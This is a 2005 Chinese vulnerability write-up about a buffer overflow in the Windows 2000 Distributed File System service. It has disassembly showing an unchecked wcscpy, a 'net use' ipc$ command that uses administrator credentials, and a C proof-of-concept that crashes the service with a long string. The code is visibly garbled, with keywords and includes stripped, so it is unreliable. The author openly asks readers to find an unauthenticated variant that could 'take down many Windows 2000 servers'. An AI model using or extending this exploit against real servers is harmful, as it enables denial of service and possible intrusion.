远程溢出:Distributed File System服务远程溢出问题

来源:http://ziqi.512j.com

最近发现个Distributed File 服务远程溢出问题
date:03/13/2005
author:fzk
qq:1734398
MSN:[email protected]
email:[email protected]
URL:http://www.ns-one.com


1.前言:
   最近在windows 2000 advanced server下研究Distributed File 服务时候,在当中发现
溢出,经过测试,发现需要远程通过目标机管理员组成员和Distributed File 服务建立name pipe,才能发生
溢出,不知道这样问题,属于不属于安全漏洞呢?

   今天决定发出来给大家共同研究下,说不定有可能其他高手发现不需要通过目标机管理员组成员权限来进行
溢出,那这个就算真正安全问题了,而且危害性肯定也强了,那当然也记得给我发个信通知下如何实现.:)


2.问题细节:
   这个溢出问题,是发生在Distributed File 服务里面NetrDfsAddStdRootForced在处理第 4个参数
上面,这个第 4个参数是会作为第 5个参数传递给SetupStdDfs,在这个里面wcscpy,问题出在这里没有进行
边界检查,导致溢出代码如下:

NetrDfsAddStdRootForced
...............
.text:0100A2B5                 mov     edi, [ebp+arg_C]
.text:0100A2B8                 test    edi, edi
.text:0100A2AF                  jz      loc_100A373
...............
.text:0100A31F                 push    edi
.text:0100A320                 push    1
.text:0100A322                 push    [ebp+arg_8]
.text:0100A325                 lea     eax, [ebp+var_214]
.text:0100A32B                 push    [ebp+arg_4]
.text:0100A32E                 push    eax
.text:0100A32F                 call    SetupStdDfs
...............
SetupStdDfs
.text:01007FB4                 push    ebp
.text:01007FB5                 mov     ebp, esp
.text:01007FB7                 sub     esp, 658h
.text:01007FBD                 push    ebx
.text:01007FBE                 mov     ebx, ds:wcscpy
.text:01007FC4                 push    esi
.text:01007FC5                 push    edi
.text:01007FC6                 xor     esi, esi
.text:01007FC8                 xor     edi, edi
.text:01007FCA                 cmp     [ebp+arg_10], esi
.text:01007FCD                 jnz      loc_1007FE2
...............
.text:01007FE2 loc_1007FE2:
.text:01007FE2                 push    [ebp+arg_10]
.text:01007FE5                 lea     eax, [ebp+var_43C]
.text:01007FEB                 push    eax
.text:01007FEC                 call    ebx ; wcscpy

流程为:

NetrDfsAddStdRootForced->SetupStdDfs->wcscpy


3.溢出测试思路方法:

(1).先使用目标机器管理员组成员建立个ipc$连接
net use \\目标机器ip\ipc$ 管理员组成员密码 /user:管理员组成员账号

(2).使用如下测试代码测试:
#
#
#
#
#

#pragma comment(lib, "Netapi32.lib")

(void)
{
wchar_t a=L"\\\\ip\\"; //把ip替换为你目标机器ip
wchar_t b[4000];
LPWSTR ServerName=a;
LPWSTR RootShare=L"fzk";
LPWSTR Comment=L"fzk";
LPWSTR Store;
i;

for (i = 0; i< 2000;i)
wcscat(b, L"A");

Store = b;

( NetDfsAddStdRootForced( ServerName, RootShare, Comment, Store) NERR_Success)
      TRUE;


FALSE;
}

把以上代码存为test.cpp,运行cl test.cpp编译,然后执行test.exe,到这里应该目标机器
Distributed File 服务已经down掉了

4.附加信息:
在MSDN发现NetDfsAddStdRootForced API在windows 2003已经被弃用了
Distributed File 服务在windows 2000服务器下面是默认开放
如果有高手能实现不用任何权限来进行溢出,应该可以干掉很多windows 2000服务器
当然也记得通知我
email:[email protected]
qq:1734398
MSN:[email protected]




  • 篇文章: WindowsXP畸形.wmf文件本地拒绝服务漏洞以及测试手法

  • 篇文章: 我对暴库点认识
  • Tags:  远程溢出工具 远程溢出攻击 远程溢出是什么 远程溢出

    延伸阅读

    最新评论

    发表评论